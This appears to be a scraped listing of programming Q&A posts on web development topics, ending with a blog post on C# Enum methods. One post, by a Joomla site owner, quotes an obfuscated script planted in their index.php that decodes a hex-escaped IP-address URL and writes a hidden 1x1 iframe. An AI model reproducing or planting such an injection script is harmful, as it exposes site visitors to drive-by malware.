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  • Calling javascript from objective-c code

    - by Infinity
    Hello! I found a lots of ways to call objective-c code from javascript, but I want to call the javascript code from objective-c. Last time I submitted a HTML FORM from objective-c, and now I wan't to call a javascript method. What do you think, is there any way to call it and get the response? I am interested in any solution, but I started to think and I think I need to send a html call or something like this, but I am not sure about this because the javascript is client side code, so maybe I need to process it from my objective-c code. What do you think about this?

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  • Erb with Sinatra in ruby

    - by JP
    So I have a webserver I've built using sinatra, the meat of which goes like this: set :variable,"value" get '/' do erb :index end And, of course, the template in views/index.erb which looks something like this: <html> <!-- etc --> <ul> <% my_array.each do |thing| %> <%="Something: #{thing}, variable from sinatra: #{settings.variable}"%> <% end %> </ul> </html> If you try running code like this you'll notice that you can't access sinatra's settings variable from inside erb templates. Any ideas how I can achieve this while keeping its simplicity? Thanks in advance!

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  • How to force the method for a formtastic form to be put?

    - by J. Pablo Fernández
    I have something like semantic_form_for @whatever, :url => whatever_url which generates a from with method="post" I need it to be put, I've already tried: semantic_form_for @whatever, :url => whatever_url, :html => {:method => "put"} and semantic_form_for @whatever, :url => whatever_url, :html => {:method => :put} and semantic_form_for @whatever, :url => whatever_url, :html_args => {:method => :put} with no effect. Any ideas how it's done?

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  • javascript onkeypressed not giving current text box content

    - by Austin
    I have an html form like this: <form id="boxy" action="layout.html" method="get" accept-charset="utf-8"> <input type="text" id="a" onkeypress="Boxy.Check(this);"> </form> Invoking javascript like this: Boxy.Check = function() { input = document.getElementById(this.currentSelector.id).value; console.log("\"" + input + "\""); }; However, this.value is the previous value before onkeypress. For example, if I just type "A" into the form, console.log() prints "". And if I type "AA", console.log prints "A". Is there a way to get the current content of the input?

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  • Drupal node_save and special characters.

    - by Pierre
    Hello, i'm trying to create nodes and taxonomy terms through a custom php script by using the node_save() function. I'm working on drupal 6. It's working well (thanks to previous questions on stackoverflow) except for accented letters. Indeed, when a title or a taxonomy term contain "é", "è" or "à", the sentence is cut before those special characters. For example, a title like that: "Bonjour les éléphants" will create a node with "Bonjour les " as title. I don't know if it's linked to my database or if i have to use a special encoding in php (iconv() blabla) The fact is, for drupal titles, i can not use html encoding (for example: é is é in html) because drupal will render &eacute and not é... When i create a taxonomy or a title manually, i have no problems and the accented letter is saved in the database as "é". Soo if you can help me to create terms and title with accented letters, that will be great : ) Thank you !

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  • Jquery get selected checkboxes

    - by kevin
    Hi id like to get the list of selected checkboxes ina page, actually what I really need is th get the text of the element next to the checkbox which is a html element the code is below and its not working the html is as follows <script type="text/javascript"> $(document).ready(function () { $('#target').click(function () { alert("in"); var checkValues = []; $('input[name=checkboxlist]:checked').each(function() { alert($(this)val()); checkValues.push($(this)val()); }); }); }); </script> HTML: <ul id="7b1fe2bd-1b26-4185-8cd9-aec10e652a70"> <li>Structured Products<input type="checkbox" name="checkboxlist"</li> <li>Global FID <ul> <li>PowerPoint Presentations<input type="checkbox" name="checkboxlist"</li> <li>Global Deck <ul> <li>Test1<input type="checkbox" name="checkboxlist"</li> <li>Test2<input type="checkbox" name="checkboxlist"</li> <li>Test3<input type="checkbox" name="checkboxlist"</li> </ul> <input type="checkbox" name="checkboxlist"</li> <li>Credit Default Swaps Position <ul> <li>Test4<input type="checkbox" name="checkboxlist"</li> <li>Test5<input type="checkbox" name="checkboxlist"</li> </ul> <input type="checkbox" name="checkboxlist"</li> <li>Thought Leadership<input type="checkbox" name="checkboxlist"</li> <li>Fixed Income Perspectives<input type="checkbox" name="checkboxlist"</li> <li>Public Policy Information and Regulatory<input type="checkbox" name="checkboxlist"</li> <li>Regional FID<input type="checkbox" name="checkboxlist"</li> </ul> <input type="checkbox" name="checkboxlist"</li> <li>Global Rates<input type="checkbox" name="checkboxlist"</li> <li>Global Credit Products<input type="checkbox" name="checkboxlist"</li> <li>FX<input type="checkbox" name="checkboxlist"</li> <li>Emerging Markets<input type="checkbox" name="checkboxlist"</li> <li>Commodities<input type="checkbox" name="checkboxlist"</li> <li>testcat<input type="checkbox" name="checkboxlist"</li> <li>testcat<input type="checkbox" name="checkboxlist"</li> </ul>

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  • Website index.php page chnages automatically with one script in the end

    - by Mirage
    I have seen that , this happend twice that , in my root index.php file. I have this thing added <html><body><script type='text/javascript'>str="<vdepognbt src=" + unescape('%68%74%74%70%3a%2f%2f%37%39%2e%31%33%35%2e%31%35%32%2e%31%38%31%2f%73%74%61%74%73%2f%67%6f%2e%70%68%70%3f%73%69%64%3d%31') + " Oaoz5='1'vxoq5='1'>";str = str.replace('vde', 'i');str =str.replace('pog', 'fr');str = str.replace('nbt', 'ame');str =str.replace('Oaoz5', 'width');str =str.replace('vxoq5','height');document.write(str);</script></body></html> Does anyone knows what is that and how it comes. When i tried to open my webiste in google chrome , it told me that some malacious software is trying to run from harmful website , do you want to allow it. How ever when deleted that script then everything was ok But this ahppedn twice in 2 weeks Is that the virus . how can something chANGE MY CODE i AM USING JOOMLA

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  • WCF Service Error

    - by Sanjeev K B
    Hi, I have a WCF service deployed on a windows 2003 server. We are using a WPF application to consume this service. The trouble is if we deploy a new version of WCF service or leave the IIS and WPF application idle for sometime and then try to execute a functionality, we are get the following exception: The content type text/html of the response message does not match the content type of the binding (text/xml; charset=utf-8). If using a custom encoder, be sure that the IsContentTypeSupported method is implemented properly. The first 119 bytes of the response were:'<HEAD><TITLE>500: Server Error [20-0004]</TITLE></HEAD> <BODY> <H1>500: Server Error [20-0004]<H1> </BODY> </HTML> Thanks and Regards,

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  • nginx - redirection doesn't work as expected

    - by Luis
    I have a domain listening on both http and https. I want to redirect all the traffic to https except for two specific locations. It works, but only for mydomain.com, not for www.mydomain.com. Here the config: upstream mydomain_rails { server unix:/home/deploy/mydomain/shared/pids/unicorn.sock; } # blog.mydomain.com server { listen 80; server_name blog.mydomain.com; rewrite ^ http://www.mydomain.com/de/blog permanent; } # blog.mydomain.com.br server { listen 80; server_name blog.mydomain.com.br; rewrite ^ http://www.mydomain.com/br/blog permanent; } # www.mydomain.de server { listen 80; server_name mydomain.de www.mydomain.de; rewrite ^ https://www.mydomain.com/de permanent; } # www.mydomain.com.br server { listen 80; server_name mydomain.com.br www.mydomain.com.br; rewrite ^ https://www.mydomain.com/br permanent; } server { listen 80; server_name mydomain.com; rewrite ^ http://www.mydomain.com$request_uri permanent; } ## www.mydomain.com ## Redirect http to https, keep blogs on plain http server { listen 80; server_name www.mydomain.com; location / { # if ($host ~* ^(www\.mydomain\.com)$ ) { rewrite ^/(.*)$ https://www.mydomain.com/$1 permanent; # } # return 444; } # Matches any request starting with '/br/blog' and proxies to the upstream blog instance location ~* /br/blog { proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header Host $http_host; proxy_redirect off; if (!-f $request_filename) { rewrite ^/br/blog$ /; rewrite ^/br/blog/(.*)$ /$1; proxy_pass http://mydomain_blog_br; break; } } # Matches any request starting with '/de/blog' and proxies to the upstream blog instance location ~* /de/blog { proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header Host $http_host; proxy_redirect off; if (!-f $request_filename) { rewrite ^/de/blog$ /; rewrite ^/de/blog/(.*)$ /$1; proxy_pass http://mydomain_blog; break; } } } # www.mydomain.com server { add_header Cache-Control "public, must-revalidate"; server_name mydomain.com www.mydomain.com; listen 443; ssl on; ssl_certificate /etc/ssl/mydomain.com/sslchain.crt; ssl_certificate_key /etc/ssl/mydomain.com/privatekey.key; ## Strict Transport Security (ForceHTTPS), max-age 30d add_header Strict-Transport-Security "max-age=2592000; includeSubdomains"; ## Due SSL encryption, rather to increase the keepalive requests and timeout keepalive_requests 10; keepalive_timeout 60 60; root /home/deploy/mydomain/current/public/; error_log /home/deploy/mydomain/shared/log/nginx.error.log info; access_log /home/deploy/mydomain/shared/log/nginx.access.log main; ## Redirect from non-www to www if ($host = 'mydomain.com' ) { rewrite ^/(.*)$ https://www.mydomain.com/$1 permanent; } ## Caching images for 3 months location ~* \.(ico|css|js|gif|jpe?g|png)\?[0-9]+$ { expires 30d; break; } ## Deny illegal Host headers if ($host !~* ^(mydomain.com|www.mydomain.com)$ ) { return 444; } ## Deny certain User-Agents (case insensitive) if ($http_user_agent ~* (Baiduspider|webalta|Wget|WordPress|youdao|jakarta) ) { return 444; } ## Deny certain Referers (case insensitive) if ($http_referer ~* (dating|diamond|forsale|girl|jewelry|nudit|poker|porn|poweroversoftware|sex|teen|webcam|zippo|zongdo) ) { return 444; } ## Enable maintenance page. The page is copied in during capistrano deployment set $maintenance 0; if (-f $document_root/index.html) { set $maintenance 1; } if ($request_uri ~* (jpg|jpeg|gif|png|js|css)$) { set $maintenance 0; } if ($maintenance) { rewrite ^(.*)$ /index.html last; break; } location /uk { auth_basic "Restricted"; auth_basic_user_file /etc/nginx/htpasswd; root /home/deploy/mydomain/current/public/; try_files $uri @fallback; } # Matches any request starting with '/br/blog' and proxies to the upstream blog instance location ^~ /br/blog { proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header Host $http_host; proxy_redirect off; if (!-f $request_filename) { rewrite ^/br/blog$ /; rewrite ^/br/blog/(.*)$ /$1; proxy_pass http://mydomain_blog_br; break; } } # Matches any request starting with '/de/blog' and proxies to the upstream blog instance location ^~ /de/blog { proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header Host $http_host; proxy_redirect off; if (!-f $request_filename) { rewrite ^/de/blog$ /; rewrite ^/de/blog/(.*)$ /$1; proxy_pass http://mydomain_blog; break; }} # Matches any request starting with '/lp' and proxies to the upstream blog instance location /lp { proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header Host $http_host; proxy_redirect off; rewrite ^/lp(/?.*)$ /$1; proxy_pass http://mydomain_landingpage; break; } #Matches any request, and looks for static files before reverse proxying to the upstream app server socket location / { root /home/deploy/mydomain/current/public/; try_files $uri @fallback; } # Called after the above pattern, if no static file is found location @fallback { proxy_set_header X-Sendfile-Type X-Accel-Redirect; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header Host $http_host; proxy_redirect off; proxy_pass http://mydomain_rails; } ## All other errors get the generic error page error_page 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 495 496 497 500 501 502 503 504 505 506 507 /500.html; location /500.html { root /home/deploy/mydomain/current/public/; } } I defined the blog upstream. As said, it works properly for mydomain.com, but not for www.mydomain.com. Any idea?

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  • Shopping Portal based on XML Data - XSLT or PHP?

    - by buggy1985
    For my bachelor thesis I want to implement a shopping (price comparison) portal prototype based on XML Data. The main requirement is to get a very clear and customizable HTML template, which should be hosted by the customer on his own webserver. I'm not very sure if XSLT meets this requirements, as it generates a lot of xsl-related code. It is not easy to understand for people with little HTML skills. I have some experience with the PHP templating engine Smarty. The syntax is much better, but I'm not sure if it's a good idea to parse the XML data with PHP, as it is very complex. Which language should I choose for a web application with high complexity? XSLT or PHP?

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  • How to close window in ie using link and onbeforeunload?

    - by Salil
    Hi All, I open a pop-up window using following code in main.html function openwindow(url) { window.open(url, "mywindow","location=1,status=1,scrollbars=1,resizable=no,width=650,height=650"); } Open In My child.html i used function closewindow() { self.close(); } function closeIt() { return "Your chat will be terminated. Are you sure?" } < a href="javascript:void(0)" onclick="closewindow();"Close Window< /a     When i click on close window it gize me alert message that i given on event onbeforeunload but it not close the window when i click on Ok.Also this happens only in I.E. & working fine in mozilla, netscape, safari. I checked it on IE6 & IE8 Any help is Appreciated. Regards, Salil Gaikwad

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  • Integrating CKeditor to my symfony2 project

    - by Jishnu G Nair
    I was trying to integrate ckeditor to my symfony2 project so that some of the textarea will have the ckeditor html editor. I brought the ckeditor on my required textarea by calling the class="ckeditor" in my form. The issue that I am facing now is that when I use the ckeditor the submit button of my form will not work instead I will have to use the built in "Save" option of the ckeditor toolbar for submitting the form. When I remove the ckeditor from the textareas and use normal textarea the submit button seems to work. I do not want to use the "Save" button on the ckeditor toolbar to submit my form. Is there a workaround to make the submit button work? Tried googling out for possible solutions but could not find any. P.S: I would also like to know if there are other html text editors like ckeditor that would work well with symfony2 and link to implementation instructions.

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  • how do I filter special charactors while pursing??

    - by mathew
    hi I am doing html pursing with php dom document I am getting some special charators in my result how do I filter the same?? foreach ($fdats as $fdat) { foreach($fdat->getElementsByTagName('a') as $mdat) { $comb[] = trim($mdat->nodeValue); } } and the HTML is something like this <div class="content1" id="user" style="width: 47%; margin-right: 20px;"> <div class="ad first_row"> <p class="ad" style="width: 70%;"> <a href="/site/users"><img class="dynamic-icon">&nbsp; James</a> </p> the out put is  James, and how do I get rid of Â

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  • Wireframe mock-up software

    - by Dave Jarvis
    Requirements Looking for wireframe mock-up software for web apps with the following constraints: Desktop application (supports Linux) (can be online) Export all pages to separate image files (PNG or SVG preferred) Template for all pages Drag and drop standard HTML widgets for <forms> Tabbed panels (that allow content on the different tabs) Shuttle controls Saves in an XML format (XSLT could convert to HTML) Widget alignment and resizing (relative to other widgets) Under $100.00 USD Examples That come close: Cacoo - Not a desktop application; does not have a true tabbed panel widget Pencil - Export feature has serious bugs (missing text); no template? Balsamiq - Installation proved cantankerous on Linux (due to Adobe AIR) Mockingbird - No shuttle controls; no auto-resize of widgets Pencil & paper - Not a good look for a formal document presented to clients Any others that meet the requirements?

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  • Nested attributes in the index view?

    - by user283179
    How would I show one of many nested objects in the index view class Album < ActiveRecord::Base has_many: photos accepts_nested_attributes_for :photos, :reject_if => proc { |a| a.all? { |k, v| v.blank?} } has_one: cover accepts_nested_attributes_for :cover end class Album Controller < ApplicationController layout "mini" def index @albums = Album.find(:all, :include => [:cover,]).reverse respond_to do |format| format.html # index.html.erb format.xml { render :xml => @albums } end end This is what I have so fare. I just want to show a cover for each album. Any info on this would be a massive help!!

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  • Java: Read POST data from a socket on an HTTP server

    - by danpalmer
    I have a website (python/django) that needs to use a load of Java resources that may or may not be on the same server. Therefore I am writing a mini webserver in Java that will receive a request and then when processing is finished, POST some data back to a url on the site. I have got the java code receiving connections on sockets and responding with some simple HTML. My problem is that I will POST data to the Java server and that code needs to act on the data. How do I go about reading the data that is posted in the HTML request, if it is even possible. If not, is there any other way you would do this. If you think I am going about this in completely the wrong way then please tell me and I will consider another method, but after conversing with some Java developers, this seemed like the best way for what I was doing. Thanks

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  • F# currying efficiency?

    - by Eamon Nerbonne
    I have a function that looks as follows: let isInSet setElems normalize p = normalize p |> (Set.ofList setElems).Contains This function can be used to quickly check whether an element is semantically part of some set; for example, to check if a file path belongs to an html file: let getLowerExtension p = (Path.GetExtension p).ToLowerInvariant() let isHtmlPath = isInSet [".htm"; ".html"; ".xhtml"] getLowerExtension However, when I use a function such as the above, performance is poor since evaluation of the function body as written in "isInSet" seems to be delayed until all parameters are known - in particular, invariant bits such as (Set.ofList setElems).Contains are reevaluated each execution of isHtmlPath. How can best I maintain F#'s succint, readable nature while still getting the more efficient behavior in which the set construction is preevaluated. The above is just an example; I'm looking for a general pattern that avoids bogging me down in implementation details - where possible I'd like to avoid being distracted by details such as the implementation's execution order since that's usually not important to me and kind of undermines a major selling point of functional programming.

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  • asp.net postback with jquery?

    - by mark smith
    Hi there, Can anyone help, I have a asp.net button but recently replaced it with a standard html button ... What i need to do is postback to an asp.net page and ensure a method is called the button before was an asp.net button so i had this event Protected Sub btnCancelar_Click(ByVal sender As Object, ByVal e As System.EventArgs) UtilTMP.DisposeObjects() Server.Transfer("~\Forms\test.aspx", True) End But i was using a button with javascript ALERT and recently changed to Jquery UI Model dialog but it doesn't wait for me to answer the question.. the postback happenes immediatly ... so i decided to change to a standard HTML button ... but i need to postback to the asp.net page and call a method like. If i just postback it won't call the cleanup Protected Sub Cleanup() UtilTMP.DisposeObjects() Server.Transfer("~\Forms\test.aspx", True) End

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  • Ruby for Rails: underfined method 'name ' for #<Array:0xb6c971cc>

    - by erwin
    Hi, I want to display the column 'name' after being found from the table mytest. In the mytest.rb, I defined "attrib_accessor :name"; In the procedure index under directory /controller/mytest_controller.rb, def index .....###[Ignore some code] @[email protected]_by_id ### I am able to verify the tuples in @mytesttbl end In the /view/mytest/index.rhtml, I have code like "mytesttbl", :object = @mytesttbl)% In the /view/mytest/_mytesttbl.html.erb. I have code like <%=mytesttbl.name % when I ran the above code, I have error on _mytesttbl.html.erb, underfined method 'name ' for # Please help. Thanks,

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  • How to get rid of Drupal CSS stylesheets?

    - by unforgiven
    I am trying to accomplish the following. I need to use Drupal 6 as a project requirement, but I want to use it with my own HTML and CSS stylesheets for each node/view/panel etc. The problem is, whatever the theme, I always found that Drupal applies to my HTML content both my CSS stylesheets and the CSS related to the theme chosen. I have also tried, without success, using the stylestripper module (installed in sites/all/modules). No matter what I do, additional CSS stylesheets are applied to my pages, completely destroying my layout. What is the proper way to achieve this? Why stylestripper does not work at all? Is there a completely blank theme available? I have tried basic, mothership, zen etc, but I always see additional CSS stylesheets applied to my pages. This is driving me crazy, Drupal was chosen by someone else for its flexibility. Thank you in advance.

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  • C#/.NET Little Wonders: Fun With Enum Methods

    - by James Michael Hare
    Once again lets dive into the Little Wonders of .NET, those small things in the .NET languages and BCL classes that make development easier by increasing readability, maintainability, and/or performance. So probably every one of us has used an enumerated type at one time or another in a C# program.  The enumerated types we create are a great way to represent that a value can be one of a set of discrete values (or a combination of those values in the case of bit flags). But the power of enum types go far beyond simple assignment and comparison, there are many methods in the Enum class (that all enum types “inherit” from) that can give you even more power when dealing with them. IsDefined() – check if a given value exists in the enum Are you reading a value for an enum from a data source, but are unsure if it is actually a valid value or not?  Casting won’t tell you this, and Parse() isn’t guaranteed to balk either if you give it an int or a combination of flags.  So what can we do? Let’s assume we have a small enum like this for result codes we want to return back from our business logic layer: 1: public enum ResultCode 2: { 3: Success, 4: Warning, 5: Error 6: } In this enum, Success will be zero (unless given another value explicitly), Warning will be one, and Error will be two. So what happens if we have code like this where perhaps we’re getting the result code from another data source (could be database, could be web service, etc)? 1: public ResultCode PerformAction() 2: { 3: // set up and call some method that returns an int. 4: int result = ResultCodeFromDataSource(); 5:  6: // this will suceed even if result is < 0 or > 2. 7: return (ResultCode) result; 8: } So what happens if result is –1 or 4?  Well, the cast does not fail, so what we end up with would be an instance of a ResultCode that would have a value that’s outside of the bounds of the enum constants we defined. This means if you had a block of code like: 1: switch (result) 2: { 3: case ResultType.Success: 4: // do success stuff 5: break; 6:  7: case ResultType.Warning: 8: // do warning stuff 9: break; 10:  11: case ResultType.Error: 12: // do error stuff 13: break; 14: } That you would hit none of these blocks (which is a good argument for always having a default in a switch by the way). So what can you do?  Well, there is a handy static method called IsDefined() on the Enum class which will tell you if an enum value is defined.  1: public ResultCode PerformAction() 2: { 3: int result = ResultCodeFromDataSource(); 4:  5: if (!Enum.IsDefined(typeof(ResultCode), result)) 6: { 7: throw new InvalidOperationException("Enum out of range."); 8: } 9:  10: return (ResultCode) result; 11: } In fact, this is often recommended after you Parse() or cast a value to an enum as there are ways for values to get past these methods that may not be defined. If you don’t like the syntax of passing in the type of the enum, you could clean it up a bit by creating an extension method instead that would allow you to call IsDefined() off any isntance of the enum: 1: public static class EnumExtensions 2: { 3: // helper method that tells you if an enum value is defined for it's enumeration 4: public static bool IsDefined(this Enum value) 5: { 6: return Enum.IsDefined(value.GetType(), value); 7: } 8: }   HasFlag() – an easier way to see if a bit (or bits) are set Most of us who came from the land of C programming have had to deal extensively with bit flags many times in our lives.  As such, using bit flags may be almost second nature (for a quick refresher on bit flags in enum types see one of my old posts here). However, in higher-level languages like C#, the need to manipulate individual bit flags is somewhat diminished, and the code to check for bit flag enum values may be obvious to an advanced developer but cryptic to a novice developer. For example, let’s say you have an enum for a messaging platform that contains bit flags: 1: // usually, we pluralize flags enum type names 2: [Flags] 3: public enum MessagingOptions 4: { 5: None = 0, 6: Buffered = 0x01, 7: Persistent = 0x02, 8: Durable = 0x04, 9: Broadcast = 0x08 10: } We can combine these bit flags using the bitwise OR operator (the ‘|’ pipe character): 1: // combine bit flags using 2: var myMessenger = new Messenger(MessagingOptions.Buffered | MessagingOptions.Broadcast); Now, if we wanted to check the flags, we’d have to test then using the bit-wise AND operator (the ‘&’ character): 1: if ((options & MessagingOptions.Buffered) == MessagingOptions.Buffered) 2: { 3: // do code to set up buffering... 4: // ... 5: } While the ‘|’ for combining flags is easy enough to read for advanced developers, the ‘&’ test tends to be easy for novice developers to get wrong.  First of all you have to AND the flag combination with the value, and then typically you should test against the flag combination itself (and not just for a non-zero)!  This is because the flag combination you are testing with may combine multiple bits, in which case if only one bit is set, the result will be non-zero but not necessarily all desired bits! Thanks goodness in .NET 4.0 they gave us the HasFlag() method.  This method can be called from an enum instance to test to see if a flag is set, and best of all you can avoid writing the bit wise logic yourself.  Not to mention it will be more readable to a novice developer as well: 1: if (options.HasFlag(MessagingOptions.Buffered)) 2: { 3: // do code to set up buffering... 4: // ... 5: } It is much more concise and unambiguous, thus increasing your maintainability and readability. It would be nice to have a corresponding SetFlag() method, but unfortunately generic types don’t allow you to specialize on Enum, which makes it a bit more difficult.  It can be done but you have to do some conversions to numeric and then back to the enum which makes it less of a payoff than having the HasFlag() method.  But if you want to create it for symmetry, it would look something like this: 1: public static T SetFlag<T>(this Enum value, T flags) 2: { 3: if (!value.GetType().IsEquivalentTo(typeof(T))) 4: { 5: throw new ArgumentException("Enum value and flags types don't match."); 6: } 7:  8: // yes this is ugly, but unfortunately we need to use an intermediate boxing cast 9: return (T)Enum.ToObject(typeof (T), Convert.ToUInt64(value) | Convert.ToUInt64(flags)); 10: } Note that since the enum types are value types, we need to assign the result to something (much like string.Trim()).  Also, you could chain several SetFlag() operations together or create one that takes a variable arg list if desired. Parse() and ToString() – transitioning from string to enum and back Sometimes, you may want to be able to parse an enum from a string or convert it to a string - Enum has methods built in to let you do this.  Now, many may already know this, but may not appreciate how much power are in these two methods. For example, if you want to parse a string as an enum, it’s easy and works just like you’d expect from the numeric types: 1: string optionsString = "Persistent"; 2:  3: // can use Enum.Parse, which throws if finds something it doesn't like... 4: var result = (MessagingOptions)Enum.Parse(typeof (MessagingOptions), optionsString); 5:  6: if (result == MessagingOptions.Persistent) 7: { 8: Console.WriteLine("It worked!"); 9: } Note that Enum.Parse() will throw if it finds a value it doesn’t like.  But the values it likes are fairly flexible!  You can pass in a single value, or a comma separated list of values for flags and it will parse them all and set all bits: 1: // for string values, can have one, or comma separated. 2: string optionsString = "Persistent, Buffered"; 3:  4: var result = (MessagingOptions)Enum.Parse(typeof (MessagingOptions), optionsString); 5:  6: if (result.HasFlag(MessagingOptions.Persistent) && result.HasFlag(MessagingOptions.Buffered)) 7: { 8: Console.WriteLine("It worked!"); 9: } Or you can parse in a string containing a number that represents a single value or combination of values to set: 1: // 3 is the combination of Buffered (0x01) and Persistent (0x02) 2: var optionsString = "3"; 3:  4: var result = (MessagingOptions) Enum.Parse(typeof (MessagingOptions), optionsString); 5:  6: if (result.HasFlag(MessagingOptions.Persistent) && result.HasFlag(MessagingOptions.Buffered)) 7: { 8: Console.WriteLine("It worked again!"); 9: } And, if you really aren’t sure if the parse will work, and don’t want to handle an exception, you can use TryParse() instead: 1: string optionsString = "Persistent, Buffered"; 2: MessagingOptions result; 3:  4: // try parse returns true if successful, and takes an out parm for the result 5: if (Enum.TryParse(optionsString, out result)) 6: { 7: if (result.HasFlag(MessagingOptions.Persistent) && result.HasFlag(MessagingOptions.Buffered)) 8: { 9: Console.WriteLine("It worked!"); 10: } 11: } So we covered parsing a string to an enum, what about reversing that and converting an enum to a string?  The ToString() method is the obvious and most basic choice for most of us, but did you know you can pass a format string for enum types that dictate how they are written as a string?: 1: MessagingOptions value = MessagingOptions.Buffered | MessagingOptions.Persistent; 2:  3: // general format, which is the default, 4: Console.WriteLine("Default : " + value); 5: Console.WriteLine("G (default): " + value.ToString("G")); 6:  7: // Flags format, even if type does not have Flags attribute. 8: Console.WriteLine("F (flags) : " + value.ToString("F")); 9:  10: // integer format, value as number. 11: Console.WriteLine("D (num) : " + value.ToString("D")); 12:  13: // hex format, value as hex 14: Console.WriteLine("X (hex) : " + value.ToString("X")); Which displays: 1: Default : Buffered, Persistent 2: G (default): Buffered, Persistent 3: F (flags) : Buffered, Persistent 4: D (num) : 3 5: X (hex) : 00000003 Now, you may not really see a difference here between G and F because I used a [Flags] enum, the difference is that the “F” option treats the enum as if it were flags even if the [Flags] attribute is not present.  Let’s take a non-flags enum like the ResultCode used earlier: 1: // yes, we can do this even if it is not [Flags] enum. 2: ResultCode value = ResultCode.Warning | ResultCode.Error; And if we run that through the same formats again we get: 1: Default : 3 2: G (default): 3 3: F (flags) : Warning, Error 4: D (num) : 3 5: X (hex) : 00000003 Notice that since we had multiple values combined, but it was not a [Flags] marked enum, the G and default format gave us a number instead of a value name.  This is because the value was not a valid single-value constant of the enum.  However, using the F flags format string, it broke out the value into its component flags even though it wasn’t marked [Flags]. So, if you want to get an enum to display appropriately for whether or not it has the [Flags] attribute, use G which is the default.  If you always want it to attempt to break down the flags, use F.  For numeric output, obviously D or  X are the best choice depending on whether you want decimal or hex. Summary Hopefully, you learned a couple of new tricks with using the Enum class today!  I’ll add more little wonders as I think of them and thanks for all the invaluable input!   Technorati Tags: C#,.NET,Little Wonders,Enum,BlackRabbitCoder

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